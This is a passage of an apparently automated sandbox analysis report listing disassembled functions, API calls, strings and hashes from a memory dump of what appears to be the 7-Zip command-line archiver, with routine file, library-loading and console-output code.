                                                                                                                                                                                                                                                                    • Opcode ID: 3a9ad0da39fc4abfd1bbb95b8d7c04696f23617037d2247ff8252eab85a13288
                                                                                                                                                                                                                                                                    • Instruction ID: 9027ce6dff240b75a9210f036087c50097bea2b6113c247a50c6efe036aea6c7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a9ad0da39fc4abfd1bbb95b8d7c04696f23617037d2247ff8252eab85a13288
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 73919D7180024AEFCF21EFA4C891AEDFBB4BF19314F04456EE459A3251DB316E89DB50
                                                                                                                                                                                                                                                                    Function 00C6B9E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2389 c6b9e0-c6b9ec 2390 c6b9f1-c6b9f5 2389->2390 2391 c6b9ee 2389->2391 2392 c6b9f7-c6ba10 call c549ad 2390->2392 2393 c6ba23-c6ba58 call c6c7e4 call c52a48 call c549d8 2390->2393 2391->2390 2399 c6ba12-c6ba19 call c5498e 2392->2399 2400 c6ba1e call c5498e 2392->2400 2408 c6baf7-c6baf9 call c6c8a4 2393->2408 2409 c6ba5e-c6ba63 2393->2409 2407 c6bb03-c6bb05 2399->2407 2400->2393 2415 c6bafe-c6bb02 2408->2415 2410 c6ba65 2409->2410 2411 c6ba68-c6ba75 2409->2411 2410->2411 2413 c6ba86-c6ba8a 2411->2413 2414 c6ba77-c6ba82 GetProcAddress 2411->2414 2417 c6baa4-c6bad5 GetProcAddress call c6b19b 2413->2417 2418 c6ba8c-c6ba97 GetProcAddress 2413->2418 2414->2413 2416 c6ba84 2414->2416 2415->2407 2416->2413 2422 c6bad7-c6bada 2417->2422 2423 c6baf0-c6baf2 2417->2423 2418->2417 2420 c6ba99-c6baa1 2418->2420 2420->2417 2422->2423 2424 c6badc-c6bae1 call c6b386 2422->2424 2423->2415 2425 c6baf4 2423->2425 2427 c6bae6-c6baec 2424->2427 2425->2408 2427->2423 2428 c6baee 2427->2428 2428->2423
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5498E: FreeLibrary.KERNELBASE(00000000,00000004,00C549E0,?,00C6BA56,00000000,00000000,?,00000000,00000000,?,?,00C6BDA8,00000000,00000000,?), ref: 00C54998
                                                                                                                                                                                                                                                                      • Part of subcall function 00C6C7E4: __EH_prolog.LIBCMT ref: 00C6C7E9
                                                                                                                                                                                                                                                                      • Part of subcall function 00C549D8: LoadLibraryW.KERNELBASE(00000000,?,00C6BA56,00000000,00000000,?,00000000,00000000,?,?,00C6BDA8,00000000,00000000,?), ref: 00C549E8
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,SetLargePageMode), ref: 00C6BA7E
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,SetCaseSensitive), ref: 00C6BA93
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,CreateObject), ref: 00C6BAAB
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressProc$Library$FreeH_prologLoad
                                                                                                                                                                                                                                                                    • String ID: CreateObject$SetCaseSensitive$SetLargePageMode
                                                                                                                                                                                                                                                                    • API String ID: 1090236637-606380122
                                                                                                                                                                                                                                                                    • Opcode ID: 72467e86da40453405ab3801c2d077e4568a203e9f75fd32539f2670d1d4d8ac
                                                                                                                                                                                                                                                                    • Instruction ID: 0eee9480742409c4f753672444c5aa7caa5b6736bb3e6b7fc97b3b9da96a5013
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 72467e86da40453405ab3801c2d077e4568a203e9f75fd32539f2670d1d4d8ac
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3B41A234200345AFDF34DF69C8D1BAE77A4AF49354F048429E816CB292DB71EE94DB64
                                                                                                                                                                                                                                                                    Function 00C83ADC Relevance: 10.6, APIs: 7, Instructions: 57COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: _initterm$__getmainargs__p___initenv__p__commode__p__fmode__set_app_type
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4012487245-0
                                                                                                                                                                                                                                                                    • Opcode ID: 571386dd5a5a1bb94d3aad593ba97808fad79921786486d5ac6f6ed001b670d2
                                                                                                                                                                                                                                                                    • Instruction ID: d2f9639fb05b537bc47f47b32387afc4f122988968dc098dbc6341510f6932fb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 571386dd5a5a1bb94d3aad593ba97808fad79921786486d5ac6f6ed001b670d2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 86212771900288EFCB15AFE4EC8DF9EBBB9FB09725F001216E111A22E0CB745546DB28
                                                                                                                                                                                                                                                                    Function 00C83B53 Relevance: 10.5, APIs: 7, Instructions: 43COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: _initterm$FilterXcpt__getmainargs__p___initenv__setusermatherr_controlfpexit
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 279829931-0
                                                                                                                                                                                                                                                                    • Opcode ID: 10dc44ef28d1e91ca7df0a14cf7b1983223f62c3c4cc5c0000d6fa4f012b0d20
                                                                                                                                                                                                                                                                    • Instruction ID: 4f35c3ffc6828c8cc3d9db0901a93616cd12db06f31d827018acad7af19094ed
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 10dc44ef28d1e91ca7df0a14cf7b1983223f62c3c4cc5c0000d6fa4f012b0d20
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4601A9B5900248AFCF09EFE0DC49DEEBBB9EB0D715B105116F601B6260DF359915DB24
                                                                                                                                                                                                                                                                    Function 00C81FF5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2441 c81ff5-c8200f call c836f0 2444 c82018-c8201f 2441->2444 2445 c82011-c82013 call c81554 2441->2445 2447 c82021-c8208c call c522eb call c820a5 call c5248f call c52497 call c7a044 call c5248f call c51c6a fputs call c51a79 2444->2447 2448 c82094-c820a2 2444->2448 2445->2444 2464 c82091 2447->2464 2464->2448
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID: Archive size: $Files read from disk
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-3736835528
                                                                                                                                                                                                                                                                    • Opcode ID: 393ed99f487d7ae001890bd14b39d08556aee6cc83b82167bb1cfcf81f565a35
                                                                                                                                                                                                                                                                    • Instruction ID: 760c6e62d410ae0146c660fa74d2ce3a6db36b9451b20460a1628ad84cb9734d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 393ed99f487d7ae001890bd14b39d08556aee6cc83b82167bb1cfcf81f565a35
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E7117C31410605EFCB15FFA4C856BEEBBB5FF14305F404428E616660A1DB316A8EEB99
                                                                                                                                                                                                                                                                    Function 00C823E4 Relevance: 6.0, APIs: 4, Instructions: 35COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prologfputcfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3247574066-0
                                                                                                                                                                                                                                                                    • Opcode ID: 084575b665bcf411191e2fd9f0d07a38469fccf0f1c09e5ddd417fbd90ed7bf6
                                                                                                                                                                                                                                                                    • Instruction ID: e6ea84a42bc024c8bf7dc30635ec3be41d69dc6ce375c41714cee76c5417386b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 084575b665bcf411191e2fd9f0d07a38469fccf0f1c09e5ddd417fbd90ed7bf6
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 77F09632900014ABCB05BB98DC56AAEBF75FF50720F144026F80563261EF314D95EFC4
                                                                                                                                                                                                                                                                    Function 00C81683 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CountTickfputs
                                                                                                                                                                                                                                                                    • String ID: .
                                                                                                                                                                                                                                                                    • API String ID: 290905099-4150638102
                                                                                                                                                                                                                                                                    • Opcode ID: b54f1849492c1f54593465973a72c554a3b4dbe6e8906d8e4c826a38251d315d
                                                                                                                                                                                                                                                                    • Instruction ID: 842d94e84fd7c6b7e71d6b091a27291b2de0a32c0af390b0363abd10f6097f30
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b54f1849492c1f54593465973a72c554a3b4dbe6e8906d8e4c826a38251d315d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DB715E34600B049FCB21EF64C591BAEB7F9AF81305F18481DE89397691DB70F98ADB18
                                                                                                                                                                                                                                                                    Function 00C6BEAB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6BEB0
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54A55: __EH_prolog.LIBCMT ref: 00C54A5A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C560F5: __EH_prolog.LIBCMT ref: 00C560FA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5614E: __EH_prolog.LIBCMT ref: 00C56153
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID: Codecs$Formats
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-513325466
                                                                                                                                                                                                                                                                    • Opcode ID: e2f004e8a9f5e8336c0b7c78b7b5c6a04268bd041a7c5528c87e0dad858aa2db
                                                                                                                                                                                                                                                                    • Instruction ID: d2404ee423b6192bf341ef01e3bf80115238fb405771c17ea7ff4e93018875d5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e2f004e8a9f5e8336c0b7c78b7b5c6a04268bd041a7c5528c87e0dad858aa2db
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7F41273994110ADECF11EBE0C991BFDB7BAAF56305F184019E851731A2CB341E8EEB19
                                                                                                                                                                                                                                                                    Function 00C56363 Relevance: 4.6, APIs: 3, Instructions: 64fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C56368
                                                                                                                                                                                                                                                                      • Part of subcall function 00C56415: CloseHandle.KERNELBASE(00000000,?,00C56378,000000FF,00000009,?,?,00000001), ref: 00C56420
                                                                                                                                                                                                                                                                    • CreateFileW.KERNELBASE(?,?,00000009,00000000,000000FF,00000009,00000000,00000001,00000009,000000FF,00000009,?,?,00000001), ref: 00C563AE
                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32(00000001,?,00000001,00000000,000000FF,00000009,00000000,00000000,00000001,00000009,000000FF), ref: 00C563EF
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateFile$CloseH_prologHandle
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 449569272-0
                                                                                                                                                                                                                                                                    • Opcode ID: f4a0eac6f91e2a3c6ab1988eaf6792cf1a15ac05750f6f05ccc8eafaec5981f3
                                                                                                                                                                                                                                                                    • Instruction ID: a4ca8596783a49c2f17339bb171f88aeed524aba9d1a1d51d127875275ae9e66
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f4a0eac6f91e2a3c6ab1988eaf6792cf1a15ac05750f6f05ccc8eafaec5981f3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3711907680020AEFCF11AFA4DC408AEBB7AFF04365B108529FD60571A0C7358EA9EB54
                                                                                                                                                                                                                                                                    Function 00C55C1F Relevance: 4.5, APIs: 3, Instructions: 47COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C55C24
                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,00000001,?,00000000,?,?,00000001), ref: 00C55C44
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNEL32(00000002,00000000,00000001,?,00000000,?,?,00000001), ref: 00C55C73
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AttributesFile$H_prologfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 86656847-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9792a65a42a869e65aef66a0f05fd790ab68171cff9d4d3c37549ba60a65c4c1
                                                                                                                                                                                                                                                                    • Instruction ID: 592b738628ba549555830f60c018574c6635d22001027c25f1a51d5ba65ebb5e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9792a65a42a869e65aef66a0f05fd790ab68171cff9d4d3c37549ba60a65c4c1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BC01F93A9006049BCB1577B4A8926BEBB649F48336F140226FD11922D1DF305ECC6658
                                                                                                                                                                                                                                                                    Function 00C824A5 Relevance: 4.5, APIs: 3, Instructions: 33COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C824AA
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C94708), ref: 00C824BD
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C94708), ref: 00C824F1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C81683: GetTickCount.KERNEL32 ref: 00C81698
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$CountEnterH_prologLeaveTick
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2547919631-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7df5fc4db7f02fb3077cf1612ff5f3e9e146f16407359662c604882e05415a34
                                                                                                                                                                                                                                                                    • Instruction ID: 072a5b09528afcc80347276ed8284ae86c79fb4a50246ad9ec6151046a0b4c38
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7df5fc4db7f02fb3077cf1612ff5f3e9e146f16407359662c604882e05415a34
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E5F06D75601211EFDB04AFA9C809B99B7E8FF85329F05852AA814D3350DBB4D909CBA8
                                                                                                                                                                                                                                                                    Function 00C8244D Relevance: 4.5, APIs: 3, Instructions: 28COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C82452
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C94708), ref: 00C82465
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C94708), ref: 00C8248D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C81683: GetTickCount.KERNEL32 ref: 00C81698
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSection$CountEnterH_prologLeaveTick
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2547919631-0
                                                                                                                                                                                                                                                                    • Opcode ID: fb6a1e1eee4cca589858347258a2b907d93fcadcba7e7339efe7ee3b6dbe2464
                                                                                                                                                                                                                                                                    • Instruction ID: 2c213661ada78176c398b4a0ab07504b92aa6383814cf09572742ee7ede508cd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fb6a1e1eee4cca589858347258a2b907d93fcadcba7e7339efe7ee3b6dbe2464
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A5F0E231910612EFCB05EF28C409B8EF3B4FF04314F00452AF815D3640DBB4AA48CBA8
                                                                                                                                                                                                                                                                    Function 00C81554 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C815BD
                                                                                                                                                                                                                                                                      • Part of subcall function 00C52241: _CxxThrowException.MSVCRT(00000000,00C8D068), ref: 00C52263
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowfputs
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1334390793-399585960
                                                                                                                                                                                                                                                                    • Opcode ID: 2ee388004f49090fe32b9e7dcd6e38e0b9a98ac9149d7279f5144ffb09535fcf
                                                                                                                                                                                                                                                                    • Instruction ID: 8daadc2111aa52744a4ca3132ddc5ad49673217edd0ac360af5d071b697a354b
